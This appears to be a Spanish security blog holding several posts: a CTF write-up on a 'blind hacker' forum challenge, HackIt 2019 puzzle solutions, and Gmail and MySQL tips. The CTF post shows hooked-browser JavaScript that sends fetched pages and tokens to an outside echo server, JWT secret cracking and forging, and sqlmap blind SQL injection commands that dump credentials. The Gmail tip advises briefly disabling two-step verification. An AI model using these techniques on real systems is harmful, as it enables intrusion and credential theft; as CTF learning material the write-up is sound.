Blind Hacker Challenge (ii/ii)

Como decíamos en el anterior post, esta vez tenemos que usar http://blind_hacker_forum. Vamos allá.

Modificamos index.js para que haga un fetch a la nueva url y nos devuelva el resultado vía POST a nuestro servidor echo.

   fetch("http://blind_hacker_forum").then( res => res.text()).then(
                data => {
                        fetch("http://ikasten.io:3000/echo", {
                                                method: 'POST',
                                                body: data
                                        });
                })

Observamos el resultado:

<html>

<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>

</html>

Meet token.php and share your indextoken.

Vaya, hay que acudir a token.php y obtener indextoken. Aquí probé a acudir a token.php del nuevo servidor, pero no, hay que ir al token.php de http://blind_hacker.

Así que modificamos el código:

 fetch(victimURL + "token.php").then(res => res.text()).then(data => {
        token = data.split(" ")[4];
        return token;
    }).then( token => {

            fetch("http://blind_hacker_forum/?indextoken="+token).then( res => res.text()).then(
                data => {
                        fetch("http://ikasten.io:3000/echo", {
                                                method: 'POST',
                                                body: data
                                        });
                })
    })

Y observamos el resultado:

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
Meet /token and share your forumtoken.

Un nuevo twist a la trama 🙂 Aparte del indextoken de blind_hacker es necesario pasar el forumtoken obtenido de http://blind_hacker_forum/token.
Tenemos que analizar cómo nos devuelve dicho /token. 

   fetch("http://blind_hacker_forum/token").then(res => res.text()).then(
                data => {
                         fetch("http://ikasten.io:3000/echo", {
                                                method: 'POST',
                                                body: data
                                        });
                });

Bueno, no parece complicado:

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
There you go -> ceqjaobnxbtsmxaqdivkulqmuteimmpxpkjjsugsxksyxoednhyjuuahcd

Pero ojo, aunque la última línea sigue la misma estructura que el indextoken, nos está enviando por delante todo el HTML del forum… Así que vamos a cambiar ligeramente el split() que usamos para obtener el token, así:

forumtoken = data.split(«-> «)[1]

Quedando el código en esta versión:

 fetch("http://blind_hacker_forum/token").then(res => res.text()).then(
                data => {
                        forumtoken = data.split("-> ")[1]
                        return forumtoken;
                }).then( forumtoken => {

                   fetch(victimURL + "token.php").then(res => res.text()).then(data => {
                        indextoken = data.split(" ")[4];
                        return indextoken;
                    }).then( indextoken => {

                            fetch("http://blind_hacker_forum/?indextoken="+indextoken+"&forumtoken="+forumtoken).then( res => res.text()).then(
                                data => {
                                        fetch("http://ikasten.io:3000/echo", {
                                                                method: 'POST',
                                                                body: data
                                                        });
                                })
                    })
                })

¿Qué nos llega ahora como respuesta?

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
You were not authed, but I have just sent you a guest permission.

Mmmh… ¿nos ha enviado permisos de invitado? ¿Dónde? Lo único que no capturamos por ahora son las cabeceras de la respuesta. Me temo que ya sé dónde nos envía el “guest permission”. Vamos a comprobarlo.

Necesitamos modificar nuestro proxy para que además del body de la respuesta nos rebote los headers de la misma. Afortunadamente en JavaScript disponemos de la clase Headers, que podemos usar tanto para capturar las cabeceras de la respuesta como para enviar headers propios en la petición.

Básicamente, nuestro hooked browser debe responder con un echo de las cabeceras que encuentre:

fetch("http://blind_hacker_forum/?indextoken="+indextoken+"&forumtoken="+forumtoken).then(
                                    res =>  { let respuesta = res.text();
                                             for (var p of res.headers)
                                                     respuesta += p + "\n";
                                            return respuesta;
                                            }
                            ).then(
                                data => {
                                        fetch("http://ikasten.io:3000/echo", {
                                                                method: 'POST',
                                                                body: data
                                                        });
                                })            })             })

Y dichas cabeceras son:

content-length,218
content-type,text/html; charset=utf-8
date,Thu, 11 Jun 2020 18:40:29 GMT
forum_auth,eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o
server,Werkzeug/1.0.1 Python/3.6.10

Vaya, vaya, forum_auth en una cabecera que tiene toda la pinta de ser otro token, en este caso un token JWT.  Vamos a comprobarlo en JWT.io :

¡Premio! El payload del JWT nos muestra algo muy interesante:

{
  "id": "1337",
  "username": "guest",
  "password": "h4x0r",
  "email": "guest@where.ever",
  "is_admin": "no"
}

Intenté distintas estrategias de ataque contra JWT hasta que recurrí a la fuerza bruta para intentar descubrir la clave con la que se firma el token JWT. A ser posible usando un diccionario y tal vez por aquello de “listen to rock & roll”, el rockyou.txt podría ser una buena opción, pero me daba algunos problemas por caracteres no reconocidos como utf-8, así que use un simple diccionario de palabras comunes con este cracker JWT :

$ python jwtcat.py wordlist -w /tmp/common.txt 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o

2020-06-11 22:58:19,666 Juanan-2.local __main__[6659] INFO Pour yourself a cup (or two) of ☕ as this operation might take a while depending on the size of your wordlist.                                                                                     | 1225/4658 [00:00<00:00, 13276.10it/s]
2020-06-11 22:58:19,817 Juanan-2.local __main__[6659] INFO Private key found: cookie
2020-06-11 22:58:19,817 Juanan-2.local __main__[6659] INFO Finished in 0.15151715278625488 sec

Bonito secret key:  cookie 🙂

Ya podemos cambiar el valor del payload del JWT y lanzarlo contra el forum, a ver qué pasa.

Creando tokens JWT

Es sencillo crear tokens JWT válidos usando node:

const jwt = require('jwt-simple');
const secret = "cookie";
let payload= {
"Id":"1337",
"Username":"guest",
"Password":"h4x0r",
"email":"guest@where.ever",
"is_admin":"no"};
let pwn = jwt.encode(payload, secret);

El resultado (pwn) hay que enviarlo como cabecera desde el hooked browser hasta el servidor blind_hacker_forum. Como ya se ha comentado, esto podemos hacerlo con la clase Headers:

        const myHeaders = new Headers();
        myHeaders.set('content-type', text_id.contentType);
        myHeaders.set('forum_auth', text_id.text);


        fetch(victimURL + 'check?indextoken=' + indextoken + '&forumtoken=' + forumtoken, {
            method: 'GET',
            headers: myHeaders
        }).then(res => {
            return res.text();
        })

Si enviamos el token JWT sin modificar, obtendremos la siguiente respuesta:

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
It's a match!

Forging the payload

¿Qué ocurrirá si modificamos el atributo is_admin: no para que sea is_admin: yes?

let payload= {
"Id":"1337",
"Username":"guest",
"Password":"h4x0r",
"email":"guest@where.ever",
"is_admin":"yes"};

Algo muy interesante:

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>

 There was an error, please have a look *carefully* and check everything: SELECT username, password, email, is_admin FROM userinfo WHERE username = 'guest' AND password = 'h4x0r' AND email = 'guest@where.ever' AND is_admin = 'yes'

Dos respuestas, una en la que conseguimos un true o similar y otra en la que conseguimos un false o similar implican que podemos consultar la BBDD a través de Blind SQL. Podemos verificarlo inyectando estos dos payload:

is_admin=’no' AND 1=1--"

Devuelve un It’s a match.  (TRUE, la condición se cumple)

is_admin=’no’ AND 1=0--"

Devuelve el mensaje de error SQL. (FALSE, la condición no se cumple)

El problema es que la inyección debemos introducirla a través del payload JWT. Vamos allá….

SQLMap al rescate

De nuevo, la herramienta proxy que hemos desarrollado para superar la primera parte de este reto nos va a venir de perlas ahora (usar la rama forumtoken en esta ocasión). Por supuesto, la siguiente línea llevó muuuuchas horas extraerla, pero bueno, esa parte del aprendizaje me la quedo:

$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*" --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode --dbs --threads=4  --tamper=between 

Nota: –skip-urlencode es necesario porque el carácter % está filtrado en blind_hacker_forum

También están filtrados los signos “<” y “>”, de ahí el tamper=between que implementa estas sustituciones:

  >>> tamper('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'

 >>> tamper('1 AND A = B--')
    '1 AND A BETWEEN B AND B--'

Finalmente el payload de SQLmap debemos pasárselo como parámetros POST a nuestro proxy sin indicar variables, de ahí el –data=”*” (el asterisco indica punto de inyección). Nuestro proxy añadirá esa inyección aquí:

let payload= {
"Id":"1337",
"Username":"guest",
"Password":"h4x0r",
"email":"guest@where.ever",
"is_admin":"no" + inyeccion};

Codificará el JWT y lo enviará a blind_hacker_forum (a través del socket, etc.)

Veamos… Parece que le gusta 🙂

Nombre de las tablas en BBDD public:

$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*"  --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode --tables -D public --threads=4  --tamper=between

Pedir la lista de columnas hacía saltar el WAF otra vez. Pero si ya sabemos cuáles son… mejor pedir su contenido directamente 🙂

$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*"  --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode  -C username --dump -T userinfo -D public --threads=4  --tamper=between -v 6

Pedimos igualmente los campos password, is_admin y email. Y nos llevamos el botín:

$ paste /ikasten/.sqlmap/output/blind_hacker_forum/dump/public/userinfo.* |column -s $'\t' -t
password     	       username       email                		is_admin
admin_password   administrator   admin@domain.admin   	no
h4x0r            	       auser              guest@where.ever     	no
letsputsomepxd$   betauser          i@told.u             		XXXREDACTEDXXXX
you4recrazy           guest              XXXREDACTEDXXXX 	yes

PD: aquí todo queda bonito y limpio, pero hubo mucho trabajo manual y sucio por detrás.

Gracias a @jorge_ctf por la creación del reto y el soporte ofrecido.  Hats off!

HackIt 2019, level 3³

Creo que esta prueba nos llevó más del 50% del tiempo del HackIt de este año :-O , pero es el tipo de prueba que nos encanta: sabes lo que hay que hacer, pero es un camino tortuoso, doloroso y complejo. A por ello 🙂

El título de la prueba siempre lleva alguna pista a modo de juego de palabras. Ese cubo en forma de superíndice…

Analizamos el dump y vemos que se trata de un pcap. Lo abrimos con Wireshark y curioseamos un rato.

No puede faltar una prueba con Wireshark en un HackIt que se precie 🙂

Ese puerto tcp/25565 se nos hace conocido…

También se podía deducir que era una captura del protocolo de Minecraft mirando los strings. Aparece algo como «generic.movementSpeed?». Buscándolo en Google nos lleva a Minecraft, sin duda.

Yep, Minecraft. En el servidor 51.15.21.7. Aquí otra vez fuimos troleados por @imobilis… o tal vez se trataba de un easter-egg en la prueba 🙂 El caso es que ese servidor existe (!) y tiene un mundo en el que apareces encima de una torre de la que no es posible salir. Incluso tiene mensajes en algunos carteles (por supuesto los probamos todos, sin éxito), como el de la imagen (Mundo Survival Kots)

Anda que no estuvimos tiempo «jugando» en esta torre. Los mensajes son pistas falsas.

El dump tiene mensajes enviados del cliente (10.11.12.52) al servidor (51.15.21.7) y viceversa. El payload de los mensajes es (parecía!) claro y se puede extraer con tshark.

$ tshark -r dump -T fields -e data

1b0010408d2e07aeae7d91401400000000000040855ae9b632828401
12004a0000000059c86aa10000000000001ac9
0a0021000000028daf8dbd
0a000e000000028daf8dbd

Aquí nos las prometíamos muy felices, porque vimos que había analizadores del protocolo Minecraft para Wireshark, como este o este. Todo muy de color rosa… hasta que nos fijamos en la fecha del último commit: 2010. Qué bien… no nos valen para nada. Así que, nos remangamos, fuimos a por café, y nos pusimos a estudiar la especificación del protocolo Minecraft, que está escrito por alguien que parece que tomaba apuntes de una charla, más que una especificación bien redactada. Hay exactamente 0 ejemplos de las partes más engorrosas (VarInt, packets with compression, …) En fin, nuestro compañero Joserra, un Excel wizard, decidió que nuestros scripts eran una **** mierda y que lo iba a hacer en Excel ¯_(ツ)_/¯

Si tomamos el primer payload, 001b es el tamaño del paquete (27 bytes), 0x10 el packetID y 408d2e07aeae7d91401400000000000040855ae9b632828401 el payload del paquete. El 0x10 es el ID de un paquete de tipo «Player Position» (Bound to server indica que es el cliente el que le envía al servidor). El payload se divide en 4 campos: x (double), feet y (double), z (double), «on ground» (boolean). Todos los paquetes de posición (0x10, server bound) son impares, por lo que terminan en 1 (true, on ground). Nos interesa conocer x, y, z.

x= 408d 2e07 aeae 7d91
y = 4014 0000 0000 0000
z = 4085 5ae9 b632 8284

Para pasar de hex a double, invocamos una macro, hex2dbl

No es la primera vez que resolvemos una prueba con Excel 🙂

y obtenemos las posiciones x,y,z.

Finalmente, generamos un gráfico de dispersión y obtenemos la clave 🙂

@imobilis tuvo que pasarse horas para conseguir mover el jugador de Minecraft por el mapa hasta conseguir trazar el texto. Si nos fijamos siempre empieza de un punto, baja y vuelve a subir a ese punto para trazar la siguiente letra. Analizando el payload, la altura de esa zona superior es distinta a la altura de donde dibuja las letras. Probablemente. en el juego tenía una especie de escalón que le marcaba la zona «segura» (donde se podía desplazar hacia la derecha, para pintar la siguiente letra). ¡Menudo curro!

Atentos a las mayúsculas, minúsculas, 0 vs. O, 1 vs. I, etc… Fue la troleada final a una buena prueba 🙂

BLoCkD3f1nEdPrOt0coL

UPDATE: @navarparty (los primeros en lograr superar este reto) ha publicado su solución (en Go!). Thanks @tatai!
También recomiendo leer el write-up de w0pr y su elegante solución en Python + pygame.

HackIt! 2019, level 1

Un año más, y van ya 20, asistimos a la Euskal Encounter con ganas de darlo todo, en especial al HackIt! y al CTF. En este HackIt! de la EE27 hemos sudado la gota gorda para pasar 3 pruebas de 6, logrando un segundo puesto, lo cual indica el nivel de dificultad. Eso sí, todas ellas han sido pensadas y muy curradas, por lo que lo primero, como siempre, es agradecer el trabajo de @imobilis y @marcan42. La verdad, sólo imaginar lo que costó implementar alguna de ellas (el level 3 de Minecraft en concreto pudo ser un dolor… o el 6, con la tira de leds y el LFSR en la imagen) hace que quiera invitarles a algo para que vuelvan el año que viene con nuevas ideas 🙂 En fin, entremos en harina, level1, Extreme Simplicity.

Abrimos el código fuente y vemos el siguiente trozo en JS:

function q(e){var a=">,------------------------------------------------------------------------------------[<+>[-]],----------------------------------------------------[<+>[-]],------------------------------------------------------------------------------------------------------------------[<+>[-]],----------------------------------------------------------------------------------------------------------------[<+>[-]],-------------------------------------------------[<+>[-]],--------------------------------------------------------------------------------------------------------------------[<+>[-]],-----------------------------------------------------------------------------------[<+>[-]],-------------------------------------------------------------------[<+>[-]],------------------------------------------------------------------------------------------------------------------[<+>[-]],-------------------------------------------------[<+>[-]],----------------------------------------------------------------------------------------------------------------[<+>[-]],------------------------------------------------------------------------------------[<+>[-]],[<+>[-]][-]+<[>>>++[>+++[>+++++++++++++++++++<-]<-]>>.-------------.-.<<<<[-]<[-]]>[>>>++[>+++[>+++++++++++++++++<-]<-]>>+.[>+>+<<-]>+++++++++++.>--..<----.<<<[-]]";let r=0,f=0;var i=a.length,c=new Uint8Array(3e4),s="",b=10240,k=0;for(r=0;r<i&&!(b<0);r++)switch(b--,a[r]){case">":f++;break;case"<":f>0&&f--;break;case"+":c[f]=c[f]+1&255;break;case"-":c[f]=c[f]-1&255;break;case".":s+=String.fromCharCode(c[f]);break;case",":k>=e.length?c[f]=0:c[f]=e.charCodeAt(k),k++;break;case"[":if(!c[f])for(var t=0;a[++r];)if("["===a[r])t++;else if("]"===a[r]){if(!(t>0))break;t--}break;case"]":if(c[f])for(t=0;a[--r];)if("]"===a[r])t++;else if("["===a[r]){if(!(t>0))break;t--}}return s}
$(function(){$('#password').keyup(function(e){$('#password').css({'background-color':q($('#password').val())});});});

Aquí empezamos a perder el tiempo (business as usual 🙂 debugueando con las DevTools. Creamos un nuevo snippet, pegamos el código, pulsamos en {} para un pretty-print, insertamos una última línea: console.log( q(‘password’) ), metemos un breakpoint en la línea 2 de q() y
ejecutamos la función paso a paso… Bien, así se podría resolver, pero nos llevaría unas horas… Alguien del grupo, con muy buen criterio, no sólo vió que ese código era BrainFuck, sino que pensó que traducirlo a lenguaje C era un buen primer paso. Clonamos este traductor, lo ejecutamos sobre el BrainFuck y obtenemos este sencillo programa.

Si nos fijamos, vemos el código de varios caracteres ASCII (84, 52, 114…), así que, antes de nada, probamos esa secuencia y… ¡Bingo!

file = open("bf.c", "r")
  for line in file:
    match = re.search(r'tape.*-= ([0-9]*)', line)
    if (match):
      if int(match.group(1)) > 13:
        print(chr(int(match.group(1))), end='')

Eliminar mensajes antiguos en Gmail

Apunto aquí una receta rápida para que no se me olvide y por si fuera de interés para otras personas.

El problema: uso Gmail desde hace muuuchos años y hasta hoy no me había planteado hacer limpieza. Pero, estaba al 93% de ocupación: 17.74 GB usados de 19GB disponibles, así que me he liado la manta a la cabeza y lo he podido bajar un poco, a 14.34GB = 75%, eliminando todos los mensajes de más de 10 años.

93% de utilización = sí, soy un Diógenes del correo

La solución: básicamente, usar este script en Python. Le he metido los import necesarios y lo he dejado en un Gist. Para que el script funcione, hay que activar IMAP en Gmail y (esto es importante), el acceso a aplicaciones «menos seguras» desde las opciones de seguridad de tu cuenta Google.

Activa Less secure app access.

Si tienes 2-Step Verification, tendrás que desactivarlo momentáneamente. Cuando termines de ejecutar el script, recuerda volver a activarlo (y desactiva el Less secure app access).

75% de ocupación, mucho mejor 🙂

Importar JSON en MySQL usando MySQL Shell

La utilidad MySQL Shell nos permite importar un fichero JSON en una tabla o colección de MySQL.

Primero debemos activar el protocolo mysqlX :

$ mysqlsh -u root -h localhost --mysql --dba enableXProtocol
Please provide the password for 'root@localhost':
Save password for 'root@localhost'? [Y]es/[N]o/Ne[v]er (default No):
enableXProtocol: Installing plugin mysqlx…
enableXProtocol: done

Y ahora ya podemos conectar con el servidor MySQL usando MySQLShell (y el protocolo mysqlX) :

$ mysqlsh -u root -h localhost --mysqlx

Tengo creada una base de datos llamada addi, vacía, y quiero importar ahí el fichero result.json en una colección de nombre addi_collection.

El comando a ejecutar sería :

MySQL Shell > util.importJson("result.json", {schema: "addi", collection: "addi_collection"});
Importing from file "result.json" to collection <code>addi</code>.<code>addi_collection</code> in MySQL Server at localhost:33060

El problema que tuve es que mi fichero json no tenía un campo _id único en cada registro (ver post anterior de ikasten.io), así que tuve que crearlo. Esto no sería un problema en MySQL Server > 8.0, pero estoy usando un server viejuno (5.7.19), así que obtuve este error:

Processed 182.22 KB in 80 documents in 0.0340 sec (2.35K documents/s)
Total successfully imported documents 0 (0.00 documents/s)
Document is missing a required field (MySQL Error 5115)

Tras añadir el campo _id a todos los registros, pude importar sin problemas:

util.importJson("result.json", {schema: "addi", collection: "addi_collection"});
Importing from file "result.json" to collection <code>addi</code>.<code>addi_collection</code> in MySQL Server at localhost:33060
.. 80.. 80
 Processed 182.93 KB in 80 documents in 0.0379 sec (2.11K documents/s)
 Total successfully imported documents 80 (2.11K documents/s)

Más info sobre JSON import utility en MySQL Shell.

El resultado de la importación se guarda en una colección que recuerda a las colecciones de MongoDB